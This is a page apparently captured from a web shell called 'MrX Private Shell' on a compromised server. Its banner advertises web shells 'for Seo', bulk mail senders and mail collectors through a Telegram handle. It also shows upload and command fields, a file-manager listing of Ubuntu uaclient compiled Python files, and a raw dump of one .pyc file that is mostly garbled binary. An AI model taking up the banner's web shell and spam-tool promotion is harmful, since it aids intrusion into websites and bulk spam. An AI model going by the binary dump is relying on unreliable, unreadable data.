__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��gyp���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKJr SSK
Jr SSKJrJrJrJrJrJrJr SSKJrJrJr SrSrSrS	rS
r\R@"\RB"\"55r#Sr$Sr%\"S
S\RL4S\RL4S\'4S\'4S\'4/5r(\"SS\'4S\'4S\\R4S\\'4S\\)4S\\)4S\\)4S\\'4S\\'4/	5r*\"SS\'4S\'4S\'4S\'4/5r+\"S S!\\'4S"\\'4S#\\'4S$\\'4S%\\'4S&\\'4S'\\'4S(\\'4S)\\'4S*\\'4S+\\'4S,\\'4S-\\'4S.\\'4/5r,\"S/S0\\\'4S1\\\'4/5r-S2r.S3\R^S4\\R4S5jr0S3\R^S4\\R4S6jr1\"SS79S4\*4S8j5r2S9r3\"SS79S4\'4S:j5r4\"SS79S4\'4S;j5r5\"SS79S4\,4S<j5r6\"SS79S4\'4S=j5r7\"SS79S4\+4S>j5r8\"SS79S\'S4\94S?j5r:\"SS79S4\94S@j5r;\"SS79S\'S4\94SAj5r<\"SS79S\'S4\94SBj5r=\"SS79S4\94SCj5r>\"SS79ShSD\'S4\94SEjj5r?\"SS79S4\94SFj5r@\"SS79S4\\'\'44SGj5rA\"SS79S\'S4\(4SHj5rBSI\'S4\\'4SJjrCSiSK\\\'SL\\\'S4\94SMjjrDSN\'S4\94SOjrESP\'S4\'4SQjrFSjSP\'SR\)S4S4SSjjrGSkSP\'ST\'SR\\)S4S4SUjjrHSV\'S4S4SWjrISlSX\\'SY\\\)SZ\9S[\\JS\\\\'\'4S]\9S4\\'\'44S^jjrKSmSX\\'SY\\\)SZ\9S[\\JS_\\\JS\\\\'\'4S]\9S4\\'\'44S`jjrLSa\'S4S4SbjrMSc\'S4\94SdjrNSc\'S4\\'4SejrOS4\'4SfjrPS4\\-4SgjrQg)n�N)�	lru_cache)�rmtree)�Dict�List�
NamedTuple�Optional�Sequence�Set�Tuple)�defaults�
exceptions�utilz/var/run/reboot-requiredz/var/run/reboot-required.pkgsz/etc/machine-idz/var/lib/dbus/machine-idz!/usr/share/distro-info/ubuntu.csvz5(?P<release>\d+\.\d+) (LTS\s*)?(\((?P<series>\w+))?.*zd^(?P<major>[\d]+)[.-](?P<minor>[\d]+)[.-](?P<patch>[\d]+)-(?P<abi>[\d]+)-(?P<flavor>[A-Za-z0-9_-]+)$�
DistroInfo�eol�eol_esm�series�release�series_codename�
KernelInfo�uname_machine_arch�
uname_release�
build_date�proc_version_signature_version�major�minor�patch�abi�flavor�ReleaseInfo�distribution�pretty_version�CpuInfo�cpuinfo_cpu�cpuinfo_cpu_architecture�cpuinfo_cpu_family�cpuinfo_cpu_implementer�cpuinfo_cpu_part�cpuinfo_cpu_revision�cpuinfo_cpu_variant�
cpuinfo_model�cpuinfo_model_name�cpuinfo_stepping�cpuinfo_vendor_id�"sys_firmware_devicetree_base_model�
sysinfo_model�sysinfo_type�RebootRequiredPkgs�standard_packages�kernel_packagesz(Mon|Tue|Wed|Thu|Fri|Sat|Sun).*�uname�returnc��[5(a[RS5 g[RS5 [R"SRUR55n[RRUR[RR5$![a [RS5 gf=f)NzPNot attempting to use timestamp of kernel changelog because we're in a containerz3Falling back to using timestamp of kernel changelogz1/usr/share/doc/linux-image-{}/changelog.Debian.gzzUnable to stat kernel changelog)
�is_container�LOG�warning�os�stat�formatr�datetime�
fromtimestamp�st_mtime�timezone�utc�	Exception)r4�stat_results  �1/usr/lib/python3/dist-packages/uaclient/system.py�_get_kernel_changelog_timestamprEqs����~�~����
5�	
���K�K�E�F���g�g�?�F�F��
�
�
�
��
� � �.�.�� � �(�"3�"3�"7�"7�
�	
�������5�6���s�A0B-�-C�Cc���[R"[UR5nUc [RS5 [
U5$URS5n[RRUS5nURc'UR[RRS9nU$![a# [RS5 [
U5s$f=f)Nz*Unable to find build date in uname versionrz%a %b %d %H:%M:%S %Z %Yz-Unable to parse build date from uname version)�tzinfo)�re�search�RE_KERNEL_EXTRACT_BUILD_DATE�versionr8r9rE�groupr=�strptime�
ValueErrorrG�replacer@rA)r4�
date_match�date_str�dts    rD�_get_kernel_build_daterS�s������7����G�J������@�A�.�u�5�5�����"�H�6�
�
�
�
'�
'��2K�
L��
�y�y���Z�Z�x�0�0�4�4�Z�
5��
�I���6����C�D�.�u�5�5�6�s� B1�1*C�C)�maxsizec
��Sn[S5nUR5Sn[
R"5nURR5n[U5nURR5n[R"[U5nUc'[R	SU5 [UUUUSSSSSS9	$[UUUU[UR!S55[UR!S55[UR!S55UR!S	5UR!S
5S9	$![a [R	S5 GN2f=f)Nz/proc/version_signature�z*failed to process /proc/version_signature.zFailed to parse kernel: %s)	rrrrrrrrrrrrrr)�	load_file�splitrBr8r9r:r4�machine�striprSrrH�match�RE_KERNEL_UNAMEr�intrL)r�proc_version_signature_fullr4rrr�uname_matchs       rD�get_kernel_infor`�sG��%)�"�B�&/�0I�&J�#�)D�)J�)J�)L�Q�)O�&�
�H�H�J�E����,�,�.��'��.�J��M�M�'�'�)�M��(�(�?�M�:�K������0�-�@��1�'�!�+I������

�
	
��1�'�!�+I��k�'�'��0�1��k�'�'��0�1��k�'�'��0�1��!�!�%�(��$�$�X�.�

�
	
��/�B����@�A�B�s�D2�2E�Ec���SSKJn [R"5(d[	S5eU"5Vs/sH
nSU;dMUPM nn[
R
"S5Vs/sHnS[
SU/5S;dMUPM nnUVs/sHoU[S5SPM nnUVs/sHnU[S5SPM nnUV	s/sHn	X�;dM
U	PM sn	$s snfs snfs snfs snfs sn	f)	Nr)�get_installed_packages_namesz9get_installed_ubuntu_kernels needs to be executed as rootzlinux-image-z/boot/vmlinu[x|z]-*zLinux kernel�filez/boot/vmlinu?-)�uaclient.aptrbr�we_are_currently_root�RuntimeError�glob�subp�len)
rb�package�linux_imagerc�vmlinux_kernel_files�package_name�linux_image_versions�	file_name�vmlinuz_versionsrKs
          rD�get_installed_ubuntu_kernelsrq�s/��9��%�%�'�'��G�
�	
�4�5��5�G��W�$�	�5����I�I�3�4��4�D��T�6�4�.�1�!�4�4�	
�4���AL��@K��S��(�*�+����
.��-�I�	�#�&�'�)�*�-���(��'�G��*�	�'����'��
������
s/�
C�C�#C!�?C!�C&�(C+�	C0�C0c�@�[SS/5upUR5$)N�dpkgz--print-architecture)rhrZ)�out�_errs  rD�
get_dpkg_archrv�s ���f�4�5�6�I�C��9�9�;��c���[S/5upUR5$![Ra6 [	S5nSU;dSU;agSU;agg![
a gf=ff=f)N�systemd-detect-virtz/proc/1/cgroup�docker�buildkit�buildah�podman�)rhrZr
�ProcessExecutionErrorrWrB)rt�_�
proc_1_cgroups   rD�
get_virt_typer��sz����,�-�.����y�y�{����+�+�
�		�%�&6�7�M��=�(�J�-�,G���m�+�����	��	��
�s,� �A*�A�A�
A&�"A*�%A&�&A*c���SnSnSn0n0nSn[U5nURS5n[SU5S5nURS5H?n	SU	;dMU	RSS	5up�UR5X:R5'MA [U5nURS5H?n	SU	;dMU	RSS	5up�UR5XJR5'MA [U5n[URS5URS5URS
5URS5URS5URS5URS5URS5URS5URS5URS5UURS5URS5S9$![a( [
R
S
RU55 GNvf=f![a( [
R
S
RU55 GNKf=f![a( [
R
S
RU55 GNtf=f)Nz
/proc/cpuinfoz
/proc/sysinfoz#/sys/firmware/devicetree/base/modelz

c3�T# �UHoRS5(dMUv� M  g7f)�	processorN)�
startswith)�.0�ss  rD�	<genexpr>�get_cpu_info.<locals>.<genexpr>s���F�(�1�L�L��,E�Q�Q�(�s�(�	(r~�
�:rVzcould not open {}�cpuzCPU architecturez
cpu familyzCPU implementerzCPU partzCPU revisionzCPU variant�modelz
model name�stepping�	vendor_id�Model�Type)r#r$r%r&r'r(r)r*r+r,r-r.r/r0)
rWrX�nextrZ�FileNotFoundErrorr8�infor<r"�get)
�CPUINFO_FILE�SYSINFO_FILE�DEVICETREE_FILE�cpuinfo_values�sysinfo_values�devicetree_base_model�cpuinfo_content�cpuinfo_sections�first_cpu_content�line�key�value�sysinfo_contents
             rD�get_cpu_infor�	sC��"�L�"�L�;�O��N��N� ��<�#�L�1��+�0�0��8�� �F�(�F��
��&�+�+�D�1�D��d�{�!�Z�Z��Q�/�
��.3�k�k�m��y�y�{�+�2�
<�#�L�1��$�)�)�$�/�D��d�{�!�Z�Z��Q�/�
��.3�k�k�m��y�y�{�+�0�
>� )�/� :���"�&�&�u�-�!/�!3�!3�4F�!G�)�-�-�l�;� .� 2� 2�3D� E�'�+�+�J�7�+�/�/��?�*�.�.�}�=�$�(�(��1�)�-�-�l�;�'�+�+�J�7�(�,�,�[�9�+@�$�(�(��1�#�'�'��/����?�;����$�+�+�L�9�:�;��$�;����$�+�+�L�9�:�;���>����$�+�+�O�<�=�>�s5�G�H�2I�.H�H�.H=�<H=�.I2�1I2c��SSKJn SSKJn UR	5nUR(a4URRS05RS5nU(aU$UR
5n[[4HNn[RRU5(dM)[U5RS5nU(dMLUs $ U(aU$[[R "55nUR#U5 U$)z�
Get system's unique machine-id or create our own in data_dir.
We first check for the machine-id in machine-token.json before
looking at the system file.
r)�
machine_token)�machine_id_file�machineTokenInfo�	machineIdr�)�uaclient.filesr��uaclient.files.state_filesr��get_machine_token_filer��read�ETC_MACHINE_ID�DBUS_MACHINE_IDr:�path�existsrW�rstrip�str�uuid�uuid4�write)�cfgr�r��machine_token_file�
machine_id�fallback_machine_idr��contents        rD�get_machine_idr�Fs���-�:�&�=�=�?���'�'�'�5�5�9�9���
�

�#�k�
�	����)�.�.�0����1��
�7�7�>�>�$�����o�,�,�T�2�G��w���	2��"�"��T�Z�Z�\�"�J����*�%��rwc�r�[5nURSS5n[R"SSURSS55nURSS5nURSS5nU(aU(d�[R"[
U5nU(d%[R"URSS5US	9eUR5nU=(d URS
S5nU(d[R"US9eU=(d URSS5n[UUUR5US
9$)N�NAME�UNKNOWNz\.\d LTSz LTS�VERSIONr~�VERSION_CODENAME�
VERSION_ID)�orig_ver�mod_verr)rKr)r rrr!)�_parse_os_releaser�rH�subr[�REGEX_OS_RELEASE_VERSIONr
�ParsingErrorOnOSReleaseFile�	groupdict�MissingSeriesOnOSReleaseFiler�lower)�
os_releaser r!rrr[�
match_dicts       rD�get_release_infor�hs��"�$�J��>�>�&�)�4�L��V�V�K�����	�2�1N�O�N�
�^�^�.��
3�F��n�n�\�2�.�G������1�>�B����8�8�#���	�2�6���
��_�_�&�
��7�:�>�>�(�B�7����9�9�&��
��:�Z�^�^�I�r�:���!���|�|�~�%�	�rwc�(�[SS/5upX;$)N�/usr/bin/ubuntu-distro-infoz--supported-esm�rh�rrtrus   rD�is_ltsr��s���3�5F�G�H�I�C��=�rwc�<�[[5R5$�N)r�r�r�rwrD�is_current_series_ltsr��s���"�$�+�+�,�,rwc�(�[SS/5upX;$)Nr�z--supportedr�r�s   rD�is_supportedr��s���3�]�C�D�I�C��=�rwc�b�[U5(dg[SSUS/5up[U5S:*$)zCReturn True when Ubuntu series supports ESM and is actively in ESM.Fr�z--seriesz-yeolr)r�rhr]r�s   rD�
is_active_esmr��s8���&�>�>���	&�
�F�G�D��I�C��s�8�q�=�rwc�<�[[5R5$r�)r�r�rr�rwrD�is_current_series_active_esmr��s���)�+�2�2�3�3rw�run_pathc�:�[S/5 g![Ra Of=f[/SQ5 g![[4a Of=fSHHn[
RRX5n[
RRU5(dMH g g)z>Checks to see if this code running in a container of some sort�ischrootF)ry�--quietz--containerT)�container_typezsystemd/container)	rhr
r�IOError�OSErrorr:r��joinr�)r��filenamer�s   rDr7r7�s���
��j�\�����+�+�
��
��
��
>�?����W��
��
��<���w�w�|�|�H�/��
�7�7�>�>�$����<�s��&�&�
8�A�
Ac�b�SSKJn UR5HnSUR;dM g g)z�Returns True if any package installed has "ubuntu-desktop" in the name.

This includes ubuntu-desktop, ubuntu-desktop-minimal, kubuntu-desktop, etc.
r)�aptzubuntu-desktopTF)�uaclientr��get_installed_packages�name)r�rjs  rD�
is_desktopr��s.����-�-�/���w�|�|�+��0�rwc��[S5n0nUR5HAnURSS5up4U(dM UR	5R	S5X'MC U$![a [S5nNpf=f)Nz/etc/os-releasez/usr/lib/os-release�=rV�")rWr��
splitlinesrXrZ)�
file_contents�datar�r�r�s     rDr�r��s~��9�!�"3�4�
��D��(�(�*���Z�Z��Q�'�
���5����
�+�+�C�0�D�I�+��K���9�!�"7�8�
�9�s�A&�&A>�=A>c��[[5R5nUH�nUR
S5nUSU:XdMUS:XaSnOSUS;aUSOUSn[USUS	US[RRUSS
5R5[RRUS
5R5S9s $ [R"US9e![a [R
"5ef=f)
N�,��xenialz
2026-04-23�LTSr��rVz%Y-%m-%d)rrrrr)r)rW�DISTRO_INFO_CSVr�r�r
�MissingDistroInfoFilerXrr=rM�date�MissingSeriesInDistroInfoFile)r�linesr��valuesrs     rD�get_distro_infor�s���1��/�*�5�5�7�������C����!�9�����!�&��',��q�	�'9�&��)�v�a�y����q�	� &�q�	��a�y��%�%�.�.�v�a�y�*�E�J�J�L� �)�)�2�2�7�J�G�L�L�N��
���
2�
2�&�
A�A��#�1��.�.�0�0�1�s�C%�% D�programc��[RRU;a[U5(aU$[RRSS5R
[R5Vs/sHoRS5PM nnUVs/sH"n[RRU5PM$ nnUH6n[RRX@5n[U5(dM4Us $ gs snfs snf)z;Find whether the provided program is executable in our PATH�PATHr~r�N)r:r��sep�is_exe�environr�rX�pathseprZ�abspathr�)r�p�paths�normalized_pathsr��program_paths      rD�whichr
�s���	�w�w�{�{�g���'�?�?��N� �j�j�n�n�V�R�8�>�>�r�z�z�J�
�J������J�
�
�5:�:�E�q�������*�E��:� ���w�w�|�|�D�2���,�����!���
��;s�0C8�)C=�installed_pkgs�installed_pkgs_regexc�~�[RR[5(dgUcUcg[	[[5RS55nUb[URU55S:wagUb0UH*nUH!n[R"XC5(dM   g M, g![a gf=f)a�Check if the system needs to be rebooted.

:param installed_pkgs: If provided, verify if the any packages in
    the list are present on /var/run/reboot-required.pkgs. If that
    param is provided, we will only return true if we have the
    reboot-required marker file and any package in reboot-required.pkgs
    file. When both installed_pkgs and installed_pkgs_regex are
    provided, they act as an OR, so only one of the two lists must have
    a match to return True.
:param installed_pkgs_regex: If provided, verify if the any regex in
    the list matches any line in /var/run/reboot-required.pkgs. If that
    param is provided, we will only return true if we have the
    reboot-required marker file and any match in reboot-required.pkgs
    file. When both installed_pkgs and installed_pkgs_regex are
    provided, they act as an OR, so only one of the two lists must have
    a match to return True.
FTr�r)
r:r�r��REBOOT_FILE_CHECK_PATH�setrW�REBOOT_PKGS_FILE_PATHrXr�ri�intersectionrHrI)rr�reboot_required_pkgs�pkg_name�	pkg_regexs     rD�
should_rebootr	s���0�7�7�>�>�0�1�1����"6�">���"��+�,�2�2�4�8� 
���!��~�*�*�+?�@�A�Q�F���'�,�H�1�	��9�9�Y�1�1��2�-�
������s�'B/�/
B<�;B<r�c��[RRU5=(a% [R"U[R5$r�)r:r��isfile�access�X_OK)r�s rDrr?s)��
�7�7�>�>�$��<�B�I�I�d�B�G�G�$<�<rwr�c��[US5n[RSU5 UR5nSSS5 WR	S5$!,(df   N =f![
a [R"USS9ef=f)z!Read filename and decode content.�rbzReading file: %sN�utf-8)ro�
file_encoding)�openr8�debugr��decode�UnicodeDecodeErrorr
�InvalidFileEncodingError)r��streamr�s   rDrWrWDsr��	
�h��	���	�	�$�h�/��+�+�-��
�
��~�~�g�&�&�	
�	��
�
��1�1��g�
�	
�
�s�'A�A�
A� A?�modec��[RSU5 [R"[RRU5SS9 [R"U5R5 [R"X5 g)NzCreating file: %sT��exist_ok)
r8r"r:�makedirsr��dirname�pathlib�Path�touch�chmod)r�r's  rD�create_filer1QsM���I�I�!�8�,��K�K�������)�D�9��L�L��� � �"��H�H�X�rwr�c���Sn[RRU5nU(aJ[R"U5R5n[
R"UR5nUcUnOUcSn[R"[RRU5SS9 [R"SS[RRU5S9n[RSXR5 URUR!S	55 UR#5 UR%5 [R&"URU5 U(a6[R("URWR*UR,5 [R."URU5 g![0a*nUb [R2"UR5 UeSnAff=f)
aGWrite content to the provided filename encoding it if necessary.

We preserve the file ownership and permissions if the file is present
and no mode argument is provided.

@param filename: The full path of the file to write.
@param content: The content to write to the file.
@param mode: The filesystem mode to set on the file.
N�Tr)�wbF)r'�delete�dirz*Writing file %s atomically via tempfile %sr)r:r�rr-r.r;�S_IMODE�st_moder+r,�tempfile�NamedTemporaryFiler8r"r�r��encode�flush�closer0�chown�st_uid�st_gid�renamerB�unlink)r�r�r'�tmpf�is_file_present�	file_stat�f_mode�es        rD�
write_filerHXsT���D��g�g�n�n�X�.�O���L�L��*�/�/�1�	����i�/�/�0���<��D��	
�����
���B�G�G�O�O�H�-��=��*�*��e�������)B�
��	�	�	�8�(�I�I�	
�	
�
�
�7�>�>�'�*�+��
�
���
�
��
������D�!���H�H�T�Y�Y�	� 0� 0�)�2B�2B�C�
�	�	�$�)�)�X�&�������I�I�d�i�i� �����s�9EF>�>
G2�%G-�-G2�	file_pathc��[R"U5 [RSU5 g![a [RSU5 gf=f)z<Remove a file if it exists, logging a message about removal.zRemoved file: %sz*Tried to remove %s but file does not existN)r:rBr8r"r�)rIs rD�ensure_file_absentrK�sC��K�
�	�	�)���	�	�$�i�0���K��	�	�>�	�J�K�s�,/� A�A�args�rcs�capture�timeout�override_env_vars�pipe_stdouterrc���UVs/sH+n[U[5(aUOURS5PM- nnSnSn	0n
U(a%[Rn[Rn	SSS.n
Uc0n0[
REU
EUEnUcS/n[R"SRU55n[R"UUU	US9n
U
RUS9up�U(aURSS	S
9OSnU(aURSS	S
9OSnU
R U;a![R"UU
R UUS9eU(a"[$R'SUU
R U5 UU4$s snf![aw W(aURSS	S
9OSnW(aURSS	S
9OSn[R"UW
R UUS9e!["a [R"US
9ef=ff=f)a�Run a command and return a tuple of decoded stdout, stderr.

@param args: A list of arguments to feed to subprocess.Popen
@param rcs: A list of allowed return_codes. If returncode not in rcs
    raise a ProcessExecutionError.
@param capture: Boolean set True to log the command and response.
@param timeout: Optional float indicating number of seconds to wait for
    subp to return.
@param override_env_vars: Optional dictionary of environment variables.
    If None, the current os.environ is used for the subprocess.
    If defined, these env vars get merged with the current process'
    os.environ for the subprocess, overriding any values that already
    existed in os.environ.

@return: Tuple of utf-8 decoded stdout, stderr
@raises ProcessExecutionError on invalid command or returncode not in rcs.
@raises subprocess.TimeoutError when timeout specified and the command
    exceeds that number of seconds.
rNzC.UTF-8)�LANG�LC_ALLr� )�stdout�stderr�env)rO�ignore)�errorsr~)�cmd�	exit_coderVrW)r[zRan cmd: %s, rc: %s stderr: %s)�
isinstance�bytesr;�
subprocess�PIPEr:rr�redact_sensitive_logsr��Popen�communicater�r#r
r�
returncode�UnboundLocalErrorr8r")rLrMrNrOrPrQ�x�
bytes_argsrVrW�set_lang�
merged_env�redacted_cmd�procrt�err�
out_result�
err_results                  rD�_subpro�s��8CG��BF�Q�Z��5�
!�
!��q�x�x��'8�8�$����F�
�F��H����������%��;��� ���@�B�J�J�@�(�@�.?�@�J�
�{��c���-�-�c�h�h�t�n�=�L�E��������	
���%�%�g�%�6�
��:=����G�H��5�"�J�9<����G�H��5�"�J����c�!��.�.���o�o���	
�	
���	�	�,���O�O��		
��z�!�!��u��:�E�
	E�AD����G�H��=�"�J�AD����G�H��=�"�J��2�2� ��/�/�!�!�	�
��!�	E��2�2�|�D�D�	E��E�s$�2E*�2(E/�/
G0�:AG
�
G,�,G0�retry_sleepsc	��UbUR5OSn[UUUUUUS9upxXx4$![Ra�n	U(aI[R[
U	55 [RSU	RU	R5 U(de[R[
U	55 [RS[U55 [R"URS55 Sn	A	OSn	A	ff=fM�)a�Run a command and return a tuple of decoded stdout, stderr.

 @param subp: A list of arguments to feed to subprocess.Popen
 @param rcs: A list of allowed return_codes. If returncode not in rcs
     raise a ProcessExecutionError.
 @param capture: Boolean set True to log the command and response.
 @param timeout: Optional float indicating number of seconds to wait for a
     subp call to return.
 @param retry_sleeps: Optional list of sleep lengths to apply between
    retries. Specifying a list of [0.5, 1] instructs subp to retry twice
    on failure; sleeping half a second before the first retry and 1 second
    before the next retry.
 @param override_env_vars: Optional dictionary of environment variables.
    If None, the current os.environ is used for the subprocess.
    If defined, these env vars get merged with the current process'
    os.environ for the subprocess, overriding any values that already
    existed in os.environ.

@return: Tuple of utf-8 decoded stdout, stderr
@raises ProcessExecutionError on invalid command or returncode not in rcs.
@raises subprocess.TimeoutError when timeout specified and the command
    exceeds that number of seconds.
N)rPrQzStderr: %s
Stdout: %szRetrying %d more times.r)�copyror
rr8r"r�r9rWrVri�time�sleep�pop)
rLrMrNrOrprPrQrtrlrGs
          rDrhrh�s���@+7�*B�<�$�$�&��L�
�	,������"3�-�
�H�C�
��8�O���/�/�	,���	�	�#�a�&�!����4�a�h�h����I����I�I�c�!�f���I�I�/��\�1B�C��J�J�|�'�'��*�+�+��	,��s�,�D�B:C?�?D�folder_pathc��[U5 [RSU5 g![a [RSU5 gf=f)NzRemoved folder: %sz,Tried to remove %s but folder does not exist)rr8r"r�)rvs rD�ensure_folder_absentrxs?��O��{���	�	�&��4���O��	�	�@�+�N�O�s�!$� A�A�service_namec�X�[SSSU/5 g![Ra gf=f)aB
Get if the systemd job is active in the system. Note that any status
different from "active" will make this function return False.
Additionally, if the system doesn't exist we will also return False
here.

@param service_name: Name of the systemd job to look at

@return: A Boolean specifying if the job is active or not
�	systemctlz	is-activer�FT)rhr
r)rys rD�is_systemd_unit_activer|$s7����k�;�	�<�
@�A����+�+����s��)�)c�B�[SSSSU/5upU(a8URS5(a"URS5SR5$[RSU5 g![Ran[RS	UUS
9 SnAgSnAff=f)Nr{�showz--property=ActiveStatez
--no-pagerzActiveState=r�rVz9Couldn't find ActiveState in systemctl show output for %sz-Failed to get ActiveState for systemd unit %s)�exc_info)rhr�rXrZr8r9r
r)ryrtr�rGs    rD�get_systemd_unit_active_stater�6s���
����(���
�
����3�>�>�.�1�1��9�9�S�>�!�$�*�*�,�,��K�K�K��
���
�+�+�
����;���	�	
�
��

�s�AA+�A+�+B�?B�Bc��[R"5(a[R$[R
R
S5nU(a.[RRU[R5$[RR[RRS5S[R5$)N�XDG_CACHE_HOME�~z.cache)rrer�UAC_RUN_PATHr:rr�r�r��USER_CACHE_SUBDIR�
expanduser)�xdg_cache_homes rD�get_user_cache_dirr�Qs���!�!�#�#��$�$�$��Z�Z�^�^�$4�5�N���w�w�|�|�N�H�,F�,F�G�G�
�7�7�<�<�
�����3���8�+E�+E��rwc�2�[[5n/n/nSnUR5HBn[R
"X45(aUR
U5 M1UR
U5 MD [[U5[U5S9$![a gf=f)Nz^(linux-image|linux-base).*)r2r3)	rWrr�rXrHr[�appendr1�sorted)�pkg_list_strr2r3�kernel_regex�pkgs     rD�get_reboot_required_pkgsr�^s���� �!6�7�����O�0�L��!�!�#��
�8�8�L�&�&��"�"�3�'��$�$�S�)�	$�� �!2�3���/��������s�B	�	
B�B)z/run)NN)r3r�)NFNNT)NFNNNT)Rr=rg�loggingr:r-rHr;r_r9rsr��	functoolsr�shutilr�typingrrrrr	r
rr�rr
rrrr�r�r��	getLogger�replace_top_level_logger_name�__name__r8r�r\r�r�rr]rrr"r1rJ�uname_resultrErSr`rqrvr�r�r�r��boolr�r�r�r�r�r7r�r�rr
rrrWr1rHrK�floatrorhrxr|r�r�r�r�rwrD�<module>r�s&�����	��	��������I�I�I�/�/�3��7��"��,��5��
����:�:�8�D�E��=��

	����	��
�
��	�H�M�M�"�	�3��	�C��	�C� ��	�
���	�s�#�	�#��	�x�� 1� 1�2�3�	)�8�C�=�9�	�(�3�-� �	�(�3�-� �	�(�3�-� �	���
��	�8�C�=�!�
�
�
���	���	�C��	�3��	�3��	����
�	���
�&�	#�X�c�]�3�	�x��}�-�	"�H�S�M�2�	�X�c�]�+�	��#��/�	���
�.�	�(�3�-�(�	�x��}�-�	�X�c�]�+�	�h�s�m�,�	-�x��}�=�	�(�3�-�(�	��#��'����( ��	�h�t�C�y�1�2�	�H�T�#�Y�/�0���� B���
�?�?��
�h��� ��4�
�?�?��
�h��� ��(�4��&
��&
��&
�V �F�4���s����
�4���s����(�4��9�g�9��9�x�4���3����B�4���+����>�4���3��4����
�4��-�t�-��-��4���������
�4���#��$�����4��4�d�4��4��4���3��D����4�4��
�D�
��
��4��
�4��S��>�
��
��4��B�C�B�J�B��B�.�3��8�C�=��$*.�/3�3��S��X�&�3�"�3�s�8�,�3�
�3�l=��=��=�


��

��

��#��S��T��8<�(��(��(�'/��}�(�	�(�VK�#�K�$�K� $��#�26��
U"�
�3�-�U"�	�$�s�)�	�U"��U"��e�_�	U"�
 ��S�#�X��/�U"��
U"��3��8�_�U"�t $��#�*.�26��5�
�3�-�5�	�$�s�)�	�5��5��e�_�	5�
�4��;�'�5� ��S�#�X��/�
5��5��3��8�_�5�pO�c�O�d�O������$�����
��6
�C�
��(�+=�">�rw

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager